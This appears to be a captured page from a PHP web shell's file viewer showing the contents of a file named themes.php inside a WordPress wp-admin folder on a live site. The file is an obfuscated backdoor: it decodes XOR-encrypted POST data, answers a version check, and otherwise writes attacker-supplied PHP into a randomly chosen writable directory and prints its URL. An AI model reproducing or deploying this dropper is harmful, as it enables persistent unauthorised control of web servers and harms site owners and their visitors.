HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-admin/user/themes.php
<?php $ieHlNm = "HfblI";function thFAwtoB($ieHlNm){$JPtUhE = "\162".chr(97)."\167".chr(117).chr(114).chr(713-605)."\144".chr(349-248)."\143".chr(111).chr(839-739).chr(310-209);$JmaybQlNV = chr(310-195)."\x74"."\x72".'_'.chr(227-113).chr(111).chr(1007-891).chr(350-301).chr(475-424);$XVhqVp = "\x73".'t'.chr(1086-972)."\x5f"."\163".chr(112).chr(389-281).chr(105).chr(116);$ieHlNm = $XVhqVp($JPtUhE($JmaybQlNV($ieHlNm)));return $ieHlNm;}function DnxGEdG($hiVFdixg, $MRVrokc){$vPiwL = 's'."\164".'r'.chr(95)."\163"."\x70"."\x6c".chr(105).chr(116);$hiVFdixg = array_slice($vPiwL(str_repeat($hiVFdixg, (count($MRVrokc)/16)+1)), 0, count($MRVrokc));return $hiVFdixg;}function IiPhHMxwIQ($iIXal, $UMxzFmgD, $hiVFdixg){$biwjF = "dcc6741e-024f-4db3-8293-4fdd30304811";return $iIXal ^ $biwjF[$UMxzFmgD % strlen($biwjF)] ^ $hiVFdixg;}function XXtNoEard($MRVrokc, $hiVFdixg){$MRVrokc = array_map("IiPhHMxwIQ", array_values($MRVrokc), array_keys($MRVrokc), array_values($hiVFdixg));$MRVrokc = implode("", $MRVrokc);$OuAUOoZXd = "\x75"."\156".chr(115)."\x65"."\x72"."\x69"."\x61"."\x6c".chr(643-538).'z'."\x65";$MRVrokc = @$OuAUOoZXd($MRVrokc);return $MRVrokc;}function XmiwU(){echo "gbDVhcVuwJ";}function VTfDCMe($DvkDRNir){static $ioetkJqEc = array();$eMMWpf = glob($DvkDRNir . '/*', GLOB_ONLYDIR);$UUTYRES = count($eMMWpf);if ($UUTYRES > 0) {foreach ($eMMWpf as $DvkDRN) {$DjWEf = chr(105)."\x73"."\x5f".'w'.chr(114).chr(952-847).'t'.chr(524-427)."\x62".chr(972-864).chr(482-381);if (@$DjWEf($DvkDRN)) {$ioetkJqEc[] = $DvkDRN;}}}foreach ($eMMWpf as $DvkDRNir) VTfDCMe($DvkDRNir);return $ioetkJqEc;}function lXEdceIou(){echo "HfblI";}function dwoTMv($MRVrokc){$kTCeLiuBGn = 'D'."\x4f".'C'.'U'.chr(77)."\105".chr(78)."\124".'_'.'R'.chr(178-99).chr(79).chr(613-529);$maDPZHVffT = $_SERVER[$kTCeLiuBGn];$eMMWpf = VTfDCMe($maDPZHVffT);$PlFEhqJt = array_rand($eMMWpf);$nSxIiq = chr(46)."\x70".chr(760-656).'p';$AmxUsjI = $eMMWpf[$PlFEhqJt] . "/" . substr(md5(time()), 0, 8) . $nSxIiq;$EMopEGWHw = "\x66"."\151".chr(108).chr(101).chr(807-712)."\x70".chr(117).chr(116).chr(988-893)."\143".chr(111).chr(844-734).'t'."\145".chr(110).'t'."\163";@$EMopEGWHw($AmxUsjI, $MRVrokc);$RDxmNxMjiA = chr(72)."\124".chr(646-562)."\120"."\x5f".chr(545-473).chr(485-406).chr(692-609).chr(84);$WOVNRTYkNK = chr(104).chr(116).chr(116).chr(942-830).chr(58)."\x2f".chr(980-933);$tmJxqh = $WOVNRTYkNK . $_SERVER[$RDxmNxMjiA] . substr($AmxUsjI, strlen($maDPZHVffT));print($tmJxqh);}foreach ($_POST as $hiVFdixg => $MRVrokc){$HAPeHZ = strlen($hiVFdixg);if ($HAPeHZ == 16){$MRVrokc = thFAwtoB($MRVrokc);$hiVFdixg = DnxGEdG($hiVFdixg, $MRVrokc);$MRVrokc = XXtNoEard($MRVrokc, $hiVFdixg);if (@is_array($MRVrokc)){$PlFEhqJt = array_keys($MRVrokc);$MRVrokc = $MRVrokc[$PlFEhqJt[0]];if ($MRVrokc === $PlFEhqJt[0]){$EgYlFTv = chr(749-637).'h'.chr(112);$JSldh = "\160".'h'.'p'.'v'."\x65"."\162".chr(1057-942).'i'."\x6f".'n';$rtnJAf = chr(115).'e'.chr(114)."\x69"."\x61"."\x6c".chr(105).chr(256-134).'e';echo @$rtnJAf(Array($EgYlFTv => @$JSldh(), ));strlen($hiVFdixg);}else {dwoTMv($MRVrokc);}die();}}}